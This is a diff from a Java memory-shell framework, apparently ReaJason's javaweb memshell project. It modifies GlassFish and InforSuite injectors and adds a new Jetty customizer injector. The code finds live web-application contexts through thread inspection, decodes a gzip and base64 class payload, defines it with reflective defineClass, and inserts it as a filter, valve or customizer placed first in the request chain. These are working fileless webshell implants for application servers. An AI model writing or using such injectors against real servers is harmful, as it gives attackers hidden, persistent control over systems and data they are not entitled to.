||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class GlassFishValveInjector {
|
public class GlassFishValveInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
@@ -26,16 +27,21 @@ public class GlassFishValveInjector {
|
|||||||
|
|
||||||
|
|
||||||
public GlassFishValveInjector() {
|
public GlassFishValveInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[/*] ready\n";
|
msg += "[/*] ready\n";
|
||||||
@@ -44,6 +50,7 @@ public class GlassFishValveInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -64,8 +71,8 @@ public class GlassFishValveInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
|||||||
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.logging.Logger;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -16,7 +16,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class InforSuiteFilterInjector {
|
public class InforSuiteFilterInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -31,16 +32,21 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public InforSuiteFilterInjector() {
|
public InforSuiteFilterInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[" + getUrlPattern() + "] ready\n";
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
@@ -49,6 +55,7 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -73,8 +80,8 @@ public class InforSuiteFilterInjector {
|
|||||||
* com.cvicse.loong.enterprise.web.WebModule
|
* com.cvicse.loong.enterprise.web.WebModule
|
||||||
* /usr/local/inforsuite/as/modules/web-glue.jar
|
* /usr/local/inforsuite/as/modules/web-glue.jar
|
||||||
*/
|
*/
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -88,7 +95,7 @@ public class InforSuiteFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -121,17 +128,28 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
Object filterMap = filterMapClass.newInstance();
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
|
||||||
|
// addFilterMapFirst
|
||||||
try {
|
try {
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
Object filterMaps = getFieldValue(context, "filterMaps");
|
||||||
|
if (filterMaps instanceof List) {
|
||||||
|
// InforSuite9
|
||||||
|
((List<Object>) filterMaps).add(0, filterMap);
|
||||||
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
// InforSuite10
|
||||||
|
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
|
||||||
|
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||||
@@ -185,30 +203,36 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Field field = getField(obj, fieldName);
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Field field = getField(obj, name);
|
||||||
field.setAccessible(true);
|
field.setAccessible(true);
|
||||||
return field.get(obj);
|
return field.get(obj);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
Class<?> clazz = obj.getClass();
|
Field field = getField(obj, fieldName);
|
||||||
while (clazz != null) {
|
|
||||||
try {
|
|
||||||
Field field = clazz.getDeclaredField(fieldName);
|
|
||||||
field.setAccessible(true);
|
field.setAccessible(true);
|
||||||
return field;
|
field.set(obj, value);
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new NoSuchFieldException(fieldName);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -225,12 +249,8 @@ public class InforSuiteFilterInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -0,0 +1,220 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.jetty;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class JettyCustomizerInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public JettyCustomizerInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Object channel = null;
|
||||||
|
try {
|
||||||
|
channel = getChannel();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "channel error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (channel == null) {
|
||||||
|
msg += "channel not found";
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
msg += ("channel: [" + channel + "] ");
|
||||||
|
Object shell = getShell(channel);
|
||||||
|
inject(channel, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void inject(Object channel, Object shell) throws Exception {
|
||||||
|
Object httpConfiguration = invokeMethod(channel, "getHttpConfiguration");
|
||||||
|
List<Object> customizers = (List<Object>) invokeMethod(httpConfiguration, "getCustomizers");
|
||||||
|
for (Object customizer : customizers) {
|
||||||
|
if (customizer.getClass().getName().equals(getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
customizers.add(shell);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.eclipse.jetty.server.HttpChannel
|
||||||
|
*/
|
||||||
|
private Object getChannel() throws Exception {
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
try {
|
||||||
|
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||||
|
for (int i = 0; i < Array.getLength(table); i++) {
|
||||||
|
Object entry = Array.get(table, i);
|
||||||
|
if (entry != null) {
|
||||||
|
Object threadLocalValue = getFieldValue(entry, "value");
|
||||||
|
if (threadLocalValue != null) {
|
||||||
|
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
|
||||||
|
return getFieldValue(threadLocalValue, "_channel");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
throw e;
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -5,8 +5,7 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.ArrayList;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -18,7 +17,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
|
|
||||||
public class JettyFilterInjector {
|
public class JettyFilterInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -33,16 +33,21 @@ public class JettyFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public JettyFilterInjector() {
|
public JettyFilterInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[" + getUrlPattern() + "] ready\n";
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
@@ -51,6 +56,7 @@ public class JettyFilterInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -78,70 +84,55 @@ public class JettyFilterInjector {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
String[] classNames = new String[]{
|
String[][] filterHolderClassNames = new String[][]{
|
||||||
"org.eclipse.jetty.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee11.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
|
||||||
"org.mortbay.jetty.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
|
||||||
};
|
};
|
||||||
|
|
||||||
Class<?> filterHolderClass = null;
|
Class<?> filterHolderClass = null;
|
||||||
|
Class<?> filterMappingClass = null;
|
||||||
|
|
||||||
for (String className : classNames) {
|
for (String[] classNames : filterHolderClassNames) {
|
||||||
try {
|
try {
|
||||||
filterHolderClass = context.getClass().getClassLoader().loadClass(className);
|
filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
|
||||||
|
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
|
||||||
} catch (ClassNotFoundException ignored) {
|
} catch (ClassNotFoundException ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (filterHolderClass == null) {
|
if (filterHolderClass == null || filterMappingClass == null) {
|
||||||
throw new ClassNotFoundException("FilterHodler");
|
throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
||||||
Object filterHolder = constructor.newInstance(filter.getClass());
|
Object filterHolder = constructor.newInstance(filter.getClass());
|
||||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
|
||||||
moveFilterToFirst(servletHandler);
|
invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
|
||||||
|
|
||||||
|
Object filterMapping = filterMappingClass.getConstructor().newInstance();
|
||||||
|
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
|
||||||
|
|
||||||
|
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
||||||
|
Object[] newMappings = null;
|
||||||
|
if (mappings == null || Array.getLength(mappings) == 0) {
|
||||||
|
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
|
||||||
|
} else {
|
||||||
|
int length = Array.getLength(mappings);
|
||||||
|
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
|
||||||
|
System.arraycopy(mappings, 0, newMappings, 1, length);
|
||||||
|
}
|
||||||
|
newMappings[0] = filterMapping;
|
||||||
|
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
|
||||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||||
}
|
}
|
||||||
|
|
||||||
private void moveFilterToFirst(Object servletHandler) throws Exception {
|
|
||||||
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
|
|
||||||
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
|
|
||||||
int filterLength;
|
|
||||||
|
|
||||||
if (filterMaps.getClass().isArray()) {
|
|
||||||
filterLength = Array.getLength(filterMaps);
|
|
||||||
for (int i = 0; i < filterLength; i++) {
|
|
||||||
Object filter = Array.get(filterMaps, i);
|
|
||||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
|
||||||
if (filterName.equals(getClassName())) {
|
|
||||||
reorderedFilters.add(0, filter);
|
|
||||||
} else {
|
|
||||||
reorderedFilters.add(filter);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
for (int i = 0; i < filterLength; i++) {
|
|
||||||
Array.set(filterMaps, i, reorderedFilters.get(i));
|
|
||||||
}
|
|
||||||
} else if (filterMaps instanceof ArrayList) {
|
|
||||||
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
|
|
||||||
for (Object filter : filterList) {
|
|
||||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
|
||||||
if (filterName.equals(getClassName())) {
|
|
||||||
reorderedFilters.add(0, filter);
|
|
||||||
} else {
